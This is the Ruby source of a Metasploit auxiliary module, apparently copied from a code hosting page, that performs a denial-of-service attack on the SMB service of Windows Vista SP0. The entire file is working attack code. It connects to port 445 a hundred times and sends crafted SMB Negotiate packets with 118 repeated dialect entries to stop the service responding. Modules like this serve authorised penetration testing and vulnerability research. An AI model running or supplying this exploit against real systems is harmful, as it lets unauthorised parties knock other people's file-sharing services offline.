73 lines
1.8 KiB
Ruby
73 lines
1.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',
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'Description' => %q{
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This module exploits a flaw in Windows Vista that allows a remote
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unauthenticated attacker to disable the SMB service. This vulnerability
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was silently fixed in Microsoft Vista Service Pack 1.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '64341'],
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]
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))
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register_options([Opt::RPORT(445)], self.class)
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end
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def run
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print_status("Sending 100 negotiate requests...");
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# 100 requests ensure that the bug is reliably hit
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1.upto(100) do |i|
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begin
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connect
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# 118 dialects are needed to trigger a non-response
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dialects = ['NT LM 0.12'] * 118
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data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
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pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
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pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
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pkt['Payload']['SMB'].v['Flags1'] = 0x18
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pkt['Payload']['SMB'].v['Flags2'] = 0xc853
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pkt['Payload'].v['Payload'] = data
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pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)
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pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)
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sock.put(pkt.to_s)
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disconnect
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rescue ::Interrupt
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raise $!
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rescue ::Exception
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print_error("Error at iteration #{i}: #{$!.class} #{$!}")
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return
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end
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end
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end
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end
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